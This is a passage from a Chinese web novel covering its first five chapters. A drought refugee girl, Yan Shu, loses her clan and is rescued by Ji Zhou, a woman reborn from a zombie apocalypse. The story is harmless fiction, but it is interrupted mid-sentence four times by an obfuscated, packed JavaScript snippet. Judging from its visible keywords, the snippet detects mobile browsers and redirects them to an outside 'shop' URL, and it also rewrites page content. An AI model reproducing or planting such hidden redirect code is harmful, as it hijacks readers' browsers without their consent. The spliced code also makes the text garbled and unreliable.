《重生在逃荒路上》 1. 逃荒的第一天 七月流火,炽热的烈日高挂天际,晒得大地一片干裂。 双河县桂花巷巷口的水井前,日夜都有人拎着空桶排着长队,整条巷子的住户都靠着这口水井过活。可就在半刻钟前,原本还算规整安静的队伍却出现了混乱,变得嘈杂起来。 排在队伍后方的人根本不知道前面发生了什么,不少人探头探脑的张望着,直到队伍前方不知谁高喊了一声:“没水了,井里没水了!” 这话一出,就像是往滚烫的油锅里倒了水,轰的一下就炸开了。 禹州地界已经三个月没有下雨了,再往前也只陆陆续续下了几场小雨,其实从年后就已经有了干旱的迹象。只是桂花巷的人住在县城里,多数人不会亲自下地种田,那么只要井里还有水足够家里的吃用,众人唯一需要发愁的也就只有日日攀升的粮价。 可如今城里的水井也断了水,大家不用想也知道城外旱得有多厉害,干旱终于触动了这些人的切身利益。于是一群人蜂拥而上,扒在井口向下张望。 井里黑漆漆一片,但放下去打水的木桶果然没有碰撞出水声,这井果然是干了。 井边围拢的街坊们面面相觑,眼里都是茫然和恐慌——井里没水了,接下来他们该怎么办?是继续在这里等着水浸出来,还是带上家当背井离乡的去逃荒? 有人开始四处找门道,寻找县城里还没干的水井。也有人带着满心茫然回到家,然后看着满屋好不容易攒起来的家当不知道该不该走。还有人不甘心,继续在水井前排着队,奢望着已经干涸的水井里晚些时候还能再冒出一些水来。 颜姝拎着空桶站在巷口的阴凉处,额头上也满是密密麻麻的汗珠。她咬着唇站了一会儿,许是觉得继续等下去也没什么用,终于抱着空桶回了家。 颜家住在巷尾,门口正好有两棵百年桂树,往年这时候枝叶正茂,如今却都被烈日晒得蔫蔫儿的。 颜姝推门进了院子,屋里却是空荡荡一片,只剩了她自己——颜姝当然不是孤儿,一个月前她还有父有母,一家和乐。可惜天有不测风云,两个月前她父亲颜秀才去了府城参加科举,一个月前城里因旱情发生暴乱,她母亲受了惊吓一病不起,到如今这家里便只剩了她一个人。 曾经充满欢声笑语的家,已是物是人非,时常让颜姝感到不安。 她并不是天真不知世事的无知少女,她知道一个女儿家独自生活有多难,哪怕她如今并不缺钱。秀才父亲的荫庇让她暂时还算安稳,左邻右舍对她也偶有照拂。可没了水,城里很快就会乱起来,到时候谁还在乎一个离家的秀才? 颜姝反手关上了院门,又站在门后想了想,终于下定了决心——她不能再等下去了,她得去府城找父亲。只是怎么走,还得想个稳妥的法子。 想通这一点,颜姝便放下了手里的空桶,径自去了屋里收拾行李。 她只是一个弱女子,能带的东西并不多,好在她家并不穷困,银两还是有不少的。再就是水和干粮了,前者她家里只剩自己,之前排队提回来的水还剩下大半桶,足够她路上喝了,再多的她也背不动。至于后者,或许可以去街上看看有没有现成的,贵一些也无妨。 颜姝把家里的钱都收拢了起来,打算待会儿就去买干粮和水囊,接着又去衣柜里拿了两套衣裳。只是少女的衣裳大多鲜亮,夏衫又很轻薄,穿着逃荒显然不合适。 她想了又想,还是去她爹娘的衣柜里取了两套衣裳,好歹不那么起眼。 两套夏衫裹了钱,也只一个小小的包袱,颜姝收拾好就出了门。 巷子口还聚着许多人,时不时就有人把打水桶扔进井里试图打上来水。可惜折腾来折腾去也都是徒劳,排队的人也逐渐焦躁起来,偏又不甘心放弃离开。 就在这时,有个脸熟的街坊忽然跑了回来,冲排队的众人喊了一声:“快,凉水巷那边的井里还有水,要打水的赶紧过去。” 这话一出,原本排成长队的人一下子激动起来,呼啦啦一下全冲着凉水巷跑了过去。 就连路过的颜姝听了这话,脚步都有一瞬间的迟疑。可望着那乌泱泱的人群,她很快又清醒了过来,这么多人去一口井里打水,凉水巷的井水肯定也支撑不了多久。 与其抱着不切实际的希望留下,不如趁着真正乱起来之前赶紧离开! …… 颜姝在城里寻了一圈,最后终于花高价买到了两个水囊和一袋子干粮。 等她抱着这些东西回到桂花巷时,巷口的水井前已经没人了。再走几步进了巷子,远远的就看到巷尾桂花树前,一个年轻人正“哐哐”拍着她家大门。 颜姝脚步不由一顿,细看之下又觉得那身影眼熟,于是出声喊道:“别拍门了,家里没人。” 那人闻声回过头来,露出一张有些熟悉的清隽脸庞。年轻人见到她眼睛就是一亮,快步跑了过来:“姝娘快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375254|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾收拾东西,赶紧跟我走。” 颜姝认出了来人,这人是她隔房的堂兄颜俊,因为读书有些天赋,少时她爹颜秀才曾经带在身边帮忙启蒙过。只是读书科举花费不小,颜俊考过一回县试没过,他家索性就放弃了。颜俊后来就在县城里找了个账房的活儿,偶尔也来颜秀才家走动,但两人见面也不多。 亲戚固然是亲戚,但也没有二话不说就跟人走的道理。 颜姝抱着东西后退两步,躲开了颜俊拉她的手,皱眉问道:“去哪里?做什么?” 颜俊见她防备,便收回手主动后退两步,这才说道:“逃荒,去府城。”说完又解释:“姝娘你住在城里不知道,城外早就旱得不行了,地里的庄稼都旱死了,河水也断流了。村里大家都过不下去了,村长就召集了大家一起逃荒,打算先去府城看看情况。” 所谓的村子是颜家村,所谓的村长其实就是颜家的族长,这是整个家族的逃荒。而这种情况下之所以还没丢掉颜姝这个女孩儿,其实也是托了颜秀才的福,这群人去了府城多半得寻他帮忙拿主意。 颜姝眨眼就想通了这些,心也放下了大半。恰好她也准备去府城寻父呢,正头疼孤身一人怎么走才更安全,现在跟着一群族人同行,总比跟着陌生人放心许多。 心中有了主意,颜姝立刻说道:“七堂哥你等我一会儿,我这就收拾东西跟你走。” 颜俊闻言松了口气,忙道:“那你快去,我们这就要走了。” 颜姝点点头,匆忙回了家,也没招呼人进门休息什么的,赶紧先去厨房里将两只水囊都灌满了。然后拎着水囊,带着干粮,再把早就收拾好的小包袱往背上一背,全程没用半盏茶的功夫,就出门上锁,做好了离家的准备。 她这过于迅速的行动看得颜俊一愣,目光迅速扫过行李:“这,这就好了?” 颜姝一边点头,一边已经迈步向着巷外走去:“嗯,走吧,我早就想去府城找我爹了。” 颜俊顿时回过神来,抬步跟了上去,边走边问:“府城很大的,姝娘你知道小堂叔住哪儿吗?” 颜姝镇定点头,刚要开口说些什么,就见巷口一阵喧闹传来。她探头一看,却见隔壁张家的大伯被人背着回来了,满头满脸的都是血。细一听,还有人说着“抢水”“打起来了”云云。 颜俊见状赶紧将颜姝拉到路边,迅速离开了:“快走,别看了,这城里眼看是要乱起来了。” 2. 逃荒的第二天 逃荒之路并没有想象中那样容易。 烈日当头,赤裸的黄土路被晒得滚烫一片,陆陆续续有无数只脚踩过这片滚烫,尽是逃荒的难民。有人挑着担子推着车,身旁还跟着妻子儿女,一家人脸上都是疲惫。也有人衣着褴褛,嘴唇干裂,神情已有些恍惚和麻木。 颜姝跟着颜家村的队伍走了一天,到晚上队伍停下,早已是筋疲力尽——这还多亏了有颜俊在路上时不时拉她一把,不然她一个深居简出的闺阁少女,哪有体力跟上逃荒的人群。 到了晚间,一行人寻了个避风的山脚停下休整,颜姝只感觉两条腿都不是自己的了。 然而人的潜力总是无穷的。休息一夜,第二天再次启程,浑身酸痛的颜姝还是顽强的跟上了逃荒队伍。然后是第三天、第四天,颜姝不仅没有掉队,还学会了跟着族人辨别野菜寻找水源,勉强也能将自己照顾好,不需要颜俊再分出心神照顾她。 就这样,逃荒的队伍安安稳稳走了五天,路上逃荒的人群也越发壮大起来。 颜秀才曾经告诉过颜姝,双河县距离府城的距离不算近,坐马车也得走上三日。前两日颜姝又问过带路的村长,按照她们目前的速度,走到府城至少也得十来天。 这时间有些长了,颜姝带的干粮和水显然不够吃,逃荒路上也不可能有人卖粮给她。于是自那日起,颜姝学会了挖野菜找水源。可到了第五日,她带出来的干粮也已经吃了大半。更糟糕的是逃荒的人多了,路上能挖到的野菜也更少了,曾经娇俏的少女肉眼可见的消瘦下来。 这一日,众人依旧麻木的走在逃荒路上,颜姝拖着沉重的脚步跟在队伍后方。 走着走着,前面突然传来一阵喧闹。颜姝敏锐的察觉到了不对,刚抬头欲要张望,就听有人喊了一句:“山匪,山匪来了,大家快跑啊!” 一石激起千层浪,原本麻木的人群陡然惊醒,立刻拖家带口四下奔逃。 颜姝被人群裹挟着,根本来不及反应就被带离了大路。她也不敢回头去看,就怕一不小心被可怕的山匪抓住了,那就真是求生不得求死不能了。 许是被想象中的可怕画面刺激,沉重的腿脚这时候像是被注入了无尽的力量,颜姝拔腿跑得比谁都快。等她终于跑到筋疲力尽,喘着粗气不得不停下来,早不知跑出多远去了。 “七……”颜姝扶着一棵枯树喘匀了气,抬头想要喊人,这才发现身边早没了熟悉的人影。 颜姝心里顿时一咯噔,连忙环顾四周,这才发现跟着她一路逃跑的人早就没剩几个了。而剩下的这些人她也都不认得,总是跟在她附近的颜俊这回居然没跟她在一起。也不知是被人冲散了,还是慌不择路逃跑时,被她甩开了。 这可不是什么好情况,逃荒路上有危险的可不止是杀人如麻的山匪,还有那些被生存逼迫到绝境的人。而她一个弱女子孤身上路,无疑是最好欺负的对象。 不行,她得回去找人,趁着跑散没多久,说不定还能找到族人的队伍。 颜姝心里慌张,也顾不得跑了一路筋疲力尽了,也忘了山匪的可怕,转头就往回走。和她一样与家人跑散回头找人的也有,只是多半不能如愿。 一个时辰后,颜姝终于找回了原本的黄土路,没有看到烧杀抢掠的山匪,也没看到抢掠过后的残局。可惜的是她也同样没找到失散的颜家族人,也不知是早就汇合离开了,还是走散之后畏惧于山匪的威胁,不敢再回头走这条路。 颜姝在原地等了小半日,新一批的逃荒队伍又出现在了这条黄土路上。她始终没能等到人,但双河县已远,这条逃荒路却是不得不继续走下去了。 …… 独身一人的逃荒路更难走了。 颜姝早将一张小脸抹上泥灰弄得脏兮兮,偶尔跟在人多的队伍后走一段路,假装自己是有同伴的。但更多的时候她也并不敢靠近人群,毕竟天灾之下人心难测。 她就这样小心翼翼又走了三天,带出来的干粮已经见了底。好在算算日子,再有个三五日应该就能到府城了,到时候找到父亲颜秀才,她也就有了依靠。 颜姝抱着这样的信念,继续小心翼翼的赶路,可该来的麻烦终究还是找上门了。 两个衣衫褴褛的痞子忽然挡住了颜姝的去路。颜姝往左,一人便往左挡了她的路,颜姝往右,另一人又往右拦住了她的路,摆明了不让她继续走。 不得已,一路都低着头赶路的人抬起了头,还没开口就听左边那痞子笑道:“老三,我没说错吧,这就是个小美人。别看她脸上脏了,那双眼睛可漂亮着呢。” 右边那痞子闻言也邪笑起来,用肩膀撞了撞身边同伴:“我看这身段也不多,可是便宜了咱们兄弟。” 颜姝一听这话,哪里还不明白自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375255|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己遭遇了什么。她心知自己肯定敌不过面前两人,目光下意识往周围求助,可周围听到这话的人不仅没有抬头,甚至脚步还加快了几分……显然,逃荒的人为了活命早已经筋疲力尽,哪还有多余的精力来伸张正义? 聪慧的姑娘只看了一眼就知道自己开口求救是没有用的,当然求饶也一样。所以她把手里空荡荡的水囊往两人头上一砸,接着二话不说扭头就跑。 空水囊没什么份量,自然砸不坏人,两个痞子却被她这激动激怒。 两人骂了一声“臭丫头”,刚要把手上的水囊往地上扔,看着簇新的水囊又有些舍不得。索性就拿着水囊拔腿追了上去,脸上都是凶狠的神色。 颜姝身姿灵巧,跑起来并不算慢,但这次和遇到山匪那回不同,身后有两个人目标明确的追赶着她,想要轻易将人甩开是不可能的。 听着身后越追越近的动静,颜姝心里越来越慌,可仍旧没有放弃希望。 她目光迅速的在经过的人群中寻找,希望能找到几个心怀正义,能帮她吓退身后痞子的人。可是没有,所有和她目光对上的人,都飞快的转移了视线。 颜姝心里失望,脚下的速度却不敢慢上半分,逃荒人群给她的最大善意大概是主动让出了路。 可终究,身后的人还是追了上来。一人抓住了她背上的包袱,一股力道将她往后拖,身后是对方张狂又得意的笑:“小娘们,看你还往哪里跑?!” 不能被他们抓住,绝对不能! 颜姝慌忙一扯身前的绳结,包袱松开被人拽走,脱去束缚的她继续往前跑。 两个痞子骂骂咧咧的又追了上来,颜姝满心慌乱之时,忽然看到前面一道高挑身影正挡在路中间。四目相对的瞬间,对方没有避开她的视线,于是颜姝心一横就冲着那人直冲了过去。 狂奔一路的颜姝一时刹不住脚,几乎是奔着对方怀里去的。可就在她投怀送抱的前一秒,那人微微一侧身就躲开了,颜姝也顺势躲在了对方身后。她喘着粗气回头看了这人一眼,就见他生得极高,比追她的两个痞子还高了半个头。 许是身高带来的压迫,这人无端给颜姝带来几分安全感。 这时那两个痞子也追了上来,脸上的恶意让人胆寒。颜姝心知这是最后的机会了,当即一把抓住这陌生人的衣裳,孤注一掷的喊道:“夫君,有坏人追我。” 3. 逃荒的第三天 刚从一场剧烈的爆炸中醒来,鼻间的风仿佛还残留着独属于末世的腥臭味。 季舟猛的睁开眼睛,入目所见却不是末世荒凉景色,反而有山有树有烈日有行人……虽然这些行人的状态也不怎么好,一个个衣衫褴褛麻木前行,但对比起末世普通人的狼狈,这些还能安然行走在野外的人,已经算是情况不错的了。 可问题是她现在在哪儿?这些人又是从哪里冒出来的?一直追杀她的暴风小队呢?还有这么多人聚集在一起,不怕野外的丧尸和变异兽吗?! 季舟睁开眼不过几秒钟的功夫,一个个疑问就争先恐后的冒了出来。她当然也看到了这些行人的穿着打扮有些奇怪,可出生在末世中的她,并不清楚这意味着什么。 就在季舟观察这陌生环境的时候,远处突然传来一点喧闹。 她警惕的回头看去,就见两个男人追着一个少女一路狂奔,路人则都视而不见——这不是什么稀奇事,末世人心冷漠,别说两个男人追着女人跑了,就算当街做些什么也不会有人去管。因为挣扎在生存线上的人没有那么多精力,也因为心软的人早在末世之初就已经死了。 季舟当然也不是个喜欢多管闲事的人,尤其是她自己的情况也算不上好。连日的追杀已经耗尽了她的异能和体力,她实在没有力气再去管别人的闲事了。 只是刚想完,那两男一女就已经离得近了,跑在最前方的少女一抬头正好对上她的眼神。 少女的眼神里带着熟悉的仓皇,但那双眼睛却很漂亮。季舟看得一个失神,结果那少女就直冲着自己跑了过来,大有一头扎进她怀里的趋势。 季舟出生在尔虞我诈的末世,防备心也很重,当即一个侧身就躲了过去——过往的经验告诉她,眼睛看到的不一定就是事实。她看到的是女孩儿被男人追逐,可说不定这三个人是一伙的呢?只要她敢放松警惕,就算是异能者,也可能惹来一身麻烦。 眼看着两个男人追了过来,并不打算惹事上身的季舟就打算撤了。结果身后的女孩儿抢先了她一步,忽然拽住她的衣服就喊了一句:“夫君,有坏人追我!” 季舟:“???” 别欺负她年纪小,出生在末世,夫君是什么意思她还真知道! 忽然被个陌生姑娘叫夫君,季舟简直莫名其妙。可不等她反应过来,对面那两个痞里痞气的男人却已经嚣张放话:“小娘们,乖乖给老子出来,别以为逮着个男人叫夫君,老子就不敢动你了。”说完又瞪了眼季舟:“小子,识趣的乖乖滚开,不然小心爷爷的拳头。” 这话一出,季舟本想避开的脚步顿时就定在了原地——末世不能烂好心,但末世更不能软弱。如果随随便便什么人就能叫她滚,她早就在基地里混不下去了。 季舟脸色当即一沉,周身顿时凝聚起一股煞气,冷冰冰吐出一个字:“滚!” 两个痞子见状莫名有点发怵,本能告诉他们,眼前这人不好惹。但他们刚才放了狠话,这时候一个人可以滚,两个人一起就有些抹不开面子了。再加上他们自以为占据了人数优势,对视一眼后,莫名虚下去的胆气很快又壮了起来。 抢了颜姝包袱的痞子猛的将手里包袱往地上一扔,又往地上啐了一口:“臭小子,敬酒不吃吃罚酒是不是?老子这就让你知道知道这沙包大的拳头有多硬!” 说完便挥拳而上,身边的同伴也不讲规矩,一齐冲着季舟打了过来。 季舟一眼就看出来这两个都是没有异能的普通人,而且看这乱七八糟的身手就是没经过专业训练,只会凭着一股蛮力打架。说实话这种人在末世只有当鹌鹑的份儿,也不知道他们那儿来的勇气敢对一个异能者动手——季舟对付他们都用不上异能,一人一脚就把人踹飞了出去。 两个痞子连季舟怎么动作的都没看清,人就已经倒飞了出去。两人胸口如遭重击,肋骨也不知断了几根,刚落地就忍不住喉头腥甜,“哇”的一声吐出口血来。 一直麻木赶路的难民们见状,也只往路边再退了退,连看热闹的都没有,就更别提救人了。 短暂的闹剧结束,季舟扯回了自己的衣服,本想抬脚就走,想了想还是回头说了一句:“小姑娘,别看见什么人就喊夫君,你知道夫君什么意思吗?”说完又指了指自己的脸:“还有,我也是女孩子,你就算要喊夫君,也该找个男的喊。” 颜姝早就惊呆了,虽然她一早就觉得这人有安全感,但也没想到对方能这么猛,一脚就把人踹吐血了。等她好不容易消化完这件事,又听到季舟一番话,于是再次惊呆在了原地。 下意识抬头看了看对方身高,颜姝又伸手比划了一下:“你,女孩子?”说完她自己就意识到了不对,灰扑扑的小脸一红:“对,对不起,我不是质疑你的意思。就是,就是你长得也太高了,寻常男子都比不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375256|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我没想到你居然是女孩子。” 季舟都准备走了,这话却听得她眉头直皱——她很高吗?才一米七八而已,还差两厘米才一米八呢,这身高在异能者里很常见。不过比起面前这小姑娘,她确实高了不少。 而经过颜姝这一提醒,季舟也终于发现周围的人好像都没她高,她站在人群里有些鹤立鸡群了。 …… 季舟关于末世最后的记忆,是一场穷途末路的爆炸。 她自己炸的,不想让对方阴谋得逞,还想让敌人同归于尽……她没想过自己会再次醒来,也因此在重生之初短暂的遗忘了这段绝望又疯狂的记忆。 可等确定周围没有危险,大脑重新恢复冷静之后,季舟终于还是想起了这段记忆。 末世出生的人都有一颗强壮的心脏,季舟很快就接受了自己重生的事。她回头看向跟在自己身后的小尾巴,对方算是她在新世界认识的第一个人了。 基于刚帮过对方的那点情谊,季舟问了第一个问题:“这里是哪里?” 颜姝怀里抱着她的小包袱,腰上挂着她那两个空水囊,乖巧又小心的跟在救命恩人身后。冷不丁听到对方和她搭话,心里顿时一喜:“阿姊,这里是禹州,刚过了祁山县,再往前走应该就是枫亭镇了。”说完顿了顿,又小心的询问:“大家都是逃荒去府城的,阿姊也去府城吗?” 季舟听她左一个阿姊,右一个阿姊,听得不自在极了,于是开口做了个自我介绍:“我叫季舟,一年四季的季,诺亚方舟的舟。你叫我季舟就行。” 颜姝闻言一顿,思索一番后小心翼翼的问:“诺亚方舟是什么舟?” 季舟扶额,再次意识到世界不同了,于是换了个词:“水上行船那个舟。” 颜姝这才了然的点点头,又做了自我介绍:“我姓颜,阿姊……季舟可以叫我姝娘。”说完顿了顿,小心翼翼的再问了一遍:“季舟要去府城吗?” 季舟当然无所谓去不去府城,这整个新世界对她来说都是陌生的。不过她看得出来颜姝很希望自己去府城,毕竟对方一个弱女子孤身上路很不安全。 心里略作权衡,季舟还是点了头:“去吧。我也没去过府城,正好去看看。” 刚重生到一个陌生的世界,她需要有人带她了解融入这个新世界,眼前这个柔柔弱弱还有求于她的小尾巴就很合适。陪她走这一段路,权当报酬了。 4. 逃荒的第四天 烈日当空,炙烤着逃荒的人群,脚下的黄土路像是永远没有尽头。 颜姝前不久刚经历一场惊吓,再加上奔跑消耗了她太多的体力,因此在季舟答应同行后不久,紧绷的心弦微松,疲惫也就跟着席卷而来了。 当然,颜姝是不好意思开口说休息的。之前跟着族人同行,她就不好意思拖累总是帮她的颜俊,现在面对还不熟悉的季舟,她就更不好意思开口了——她好不容易遇到一个靠谱的同伴,对方还和她一样是女子,万一嫌弃她事多累赘怎么办? 可颜姝不知道的是,她越来越拖沓的脚步声早就落入了季舟耳朵里。而身为异能者的她对于普通人也并没有那样苛责,于是主动指着前方说道:“走累了,先休息休息吧。” 颜姝眼睛亮了一下,看着季舟所指的那处山坡,沉重的腿脚又生出了新的力气。 两人很快走到了目的地,这是一处背阴的山坡,日头西斜刚好遮出一片阴凉地。有比两人来得更早的人,正躲在阴凉处休整,但空余的地方也并不少。 颜姝几乎是跌坐在地上的,红彤彤的小脸上满是汗水,将脸上的灰土冲刷出一道道痕迹。 季舟有些看不下去,虽然末世的环境比这里更加恶劣,但因为她本身异能等级不低的缘故,日子过得还算不错。她当然也猜到了颜姝往脸上抹土是为什么,可现在小尾巴不是一个人独行了,有她在难道还保护不了一个漂亮姑娘吗? 带着这样强大的自信,季舟掏了掏兜,最后还真找到了一条帕子递了过去:“擦擦你脸上的汗吧。又是灰又是汗的,都快成花猫了。” 颜姝本就通红的小脸,听到这话又红了三分:“我,我只是不想惹麻烦。” 季舟了解的点头,见颜姝没接帕子,干脆直接动手替她擦了擦脸:“放心,跟着我,不会有人敢动你的。”说完一顿,忽然笑了下:“唔,小脸擦干净,还挺漂亮。” 颜姝当然相信季舟这话,之前那两个痞子就是前车之鉴。而季舟最后夸人漂亮也并没有别的意思,她都二十多了,虽然也很年轻,但十五六岁的颜姝在她眼里就是个小女孩儿。据说末世前这年纪的小孩儿还在学校读书,谈恋爱那都是早恋,要被老师请家长的。 季舟把人当孩子看了,可颜姝听了她的话却耳根通红。她低着头不知道该怎么接话,过了会儿才想起打开包袱,最后翻出一块干饼子:“你,你要吃点吗?” 这干饼子是颜姝从双河县带出来的,路上放了十天也没坏,可想而知有多干。 季舟只看了一眼就知道这东西有多费牙口,她倒没有嫌弃,但也没有接:“你包袱里好像就剩下这一块饼了吧?自己吃就行,不用管我。” 颜姝闻言看了看她空着的两只手,她不知道这人从哪儿来的,但季舟逃荒连个包袱都没带,显然更不可能有吃的。所以她抿唇想了想,还是将饼子掰成两半,然后将更多的那一半又递了过去:“我吃这些就够了,晚点再找找路边有没有野菜,等走到枫亭镇还可以再买新的干粮。” 禹州干旱虽然已经几个月了,但河水彻底断流还不久,所以选择逃荒的人还不到最多的时候。有些县城或镇子如今也还有人在做生意,钱是可以买到干粮的。只是财不露白,颜姝之前一个人并不敢随便花钱。现在有了季舟一起,只是买干粮的话应该问题不大。 季舟看着再次送到面前的半块饼子,又对上了小姑娘满是诚恳的眼睛,心底莫名被触动了一下。她最后还是接过了那半块饼子,慢慢放到嘴边咬了一口:“谢谢。” 颜姝眼眸一弯,心安几分,也低头咬了一口饼子。 当然,干饼子并不是那么好吃的,尤其天气炎热,水囊里的水也早就喝完了。 颜姝一口饼子嚼了半天,哽在喉咙口半天咽不下去,好看的眉头都拧在了一起。她又悄悄看了眼旁边的季舟,却发现这人慢条斯理的吃着干饼子,好像并没有被影响到。 季舟敏锐的察觉到了她的目光,一看就知道是怎么回事了:“想喝水了?” 颜姝有点不好意思,她昨天没找到水源,前天打的水早就喝完了。可干粮也是不能不吃的,赶路需要耗费大量的体力,不吃东西根本撑不住。最后她还是努力的把嘴里的饼子咽了下去,这才叹道:“嗯,我有些吃不下去,一会儿看看能不能找到水源吧。” 季舟闻言看了看四周,目之所及是一片荒凉,路过的人也个个唇干舌燥,显然水源并不是那么好找的。万幸她有些旁人没有的本事,当下便寻了棵石缝里的野草将手覆了上去。 末世第三十三年,在丧尸和变异兽围剿下活下来的大多都是异能者,季舟就是其中之一。她的异能是比较常见的木系,一开始是催生植物,再然后是操控植物作战,发展到最后则变成了沟通——她能倾听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375257|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 植物的声音,无处不在的植物也能给她带来数不尽的消息。 在末世的最后一战,季舟也正是因为消息灵通,才能在老牌强队的围剿下一次次脱身。而现在这份探听消息的本事,则被她用在了找水上。 不一会儿,季舟就从小草那里得知了最近一处水源的消息,当下扭头就对颜姝说道:“水囊给我。你先在这里休息,我一会儿就回来。” 季舟要去找水的意愿已经表达得很清楚了,可颜姝并没有因此高兴,相反她紧张的一把抓住了季舟的衣摆:“别,别把我一个人留下,我跟你一起去。” 说完这话,刚歇没一会儿的颜姝,又顽强的站了起来。 季舟刚想说些什么,忽然察觉几道窥视的目光落在身上,她猛地扭头看去,就见旁边休息的几个男人迅速移开了目光。这些人拖家带口,或许并没有想做些什么,可那种黏腻的目光落在一个女孩子身上,总归是让人厌恶与不安的。 这下季舟也说不出让人留下歇着的话了,她唇角抿成一个不太愉悦的弧度,然后接过水囊又牵起了颜姝的手:“走吧,我带你一起去。” 颜姝的心放下了,黏在她身上的那些黏腻视线也终于消失不见了。 两人走出了那片阴凉地,颜姝低头看了看两人牵在一起的手,终于小声请求道:“季舟……阿姊,我能不能请你帮个忙?” 季舟心情有些不好了,但还是耐着性子问道:“什么忙?” 颜姝抿了下唇,眼神有些飘忽,似乎有些难以启齿。但求人的话已经开了口,总是要说完的:“我,我,我能不能叫你夫君?就假装咱们是夫妻?” 季舟:“???” 季舟更不高兴了,她黑着张脸反问道:“你是觉得我保护不了你,还是觉得我像个男人?” 颜姝默默看她一眼,没答话——季舟五官清秀,其实长得并不像个男人。但谁让她长得比男人还高,眉眼间的英姿勃发更是遮也遮不住。再加上这时代的男人也是一头长发,如果不是她主动说自己是女人,颜姝肯定更相信她是男生女相。 当然,这时候沉默是会得罪人的,颜姝很快满脸坚定的否认道:“当然不是。可现在世道乱了,两个女人上路肯定没有小夫妻安全,阿姊你就帮帮我吧。” 颜姝说完就可怜兮兮的看着季舟,那双漂亮的眸子装起可怜来,简直让人不忍拒绝。 5. 逃荒的第五天 禹州几个月不曾下雨,境内的水脉大多都已断流。 颜姝对此的感受尤为深刻。她是因为双河县里的井水干涸了才选择逃荒的,一开始在沿途寻找水源还算容易,可出发不过十来日,最近想要找水已经是越来越难了。 不过这次她跟着季舟找水运气似乎不错,两人离开大路之后走了一二里,又爬了半座山,就在山崖缝隙间寻到了一处还没断流的山泉水。 颜姝早就渴坏了,见到干净的水源赶紧洗了洗手,就掬了水来喝。 季舟也没拦着,只等颜姝喝完了,这才举着水囊开始接水。她自己倒是一点不着急,仿佛在烈日下走了许久的人不是她,半点没觉得渴。 山泉水清凉,颜姝喝过了水,周身的暑气也似消减了大半。趁着季舟接水的功夫,她又掬水洗了洗脸,目光却是不着痕迹的偷偷打量着身旁人——颜姝并不是个粗心的人,短短时间的相处,她已经在季舟身上发现了很多不同寻常的地方,心里也藏了不少疑问。 比如季舟的穿着打扮,她之前从没见过。又比如季舟对于逃荒的态度,若有似无透着股漫不经心。再比如这次寻找水源,两人实际上根本没有找,季舟直接就把她领到了山泉边。 颜姝心怀疑惑,偷偷打量着季舟,自以为动作很是隐秘。可实际上刚脱离末世环境的季舟感知相当敏锐,她几乎立刻就察觉到了颜姝的目光,一回头就将人抓了个正着。 四目相对,颜姝有点尴尬,率先移开了目光。 季舟没从她身上察觉到恶意,态度算是包容:“你这样看着我,是想问什么?” 颜姝满肚子的疑问,没想到季舟就这样捅破了,犹豫再三也只问了最无关紧要的一个:“方才找水,你好像知道这里有水,咱们一点多余的路都没走。” 季舟闻言愣了一下,再次意识到了新世界的不同——她重生之前末世已经持续太久了,人们早就习惯了异能的存在,也将异能开发出了无数种用法。找水而已,对于一个异能者来说简直是再容易不过的一件事,没人会特地问出来。 可眼下她却需要给出一个答案,哪怕是敷衍:“哦,我以前来过这里,记得这里有山泉。” 颜姝听了,也就没再问下去了,哪怕她知道对方这话是在敷衍。一来季舟的口音不像本地人,二来就算曾经来过这里,久旱之下泉水断流也很正常,可季舟一路上却是自信满满。 两人相识不过半日,交浅最忌言深,颜姝适时收起了自己的好奇心。 喝饱了水,又就着山泉水啃完了干饼子,再看看日头其实也不算晚,应该还能走上一程。 季舟扭过头正要问颜姝还要不要继续走,就见对方举着叠衣服递到了她面前。垂眸扫了一眼,季舟自然认出这是本地人的服饰,不由挑眉:“你这是做什么?” 颜姝眼眸轻眨,答道:“这是我爹的衣裳,你还是换上吧。” 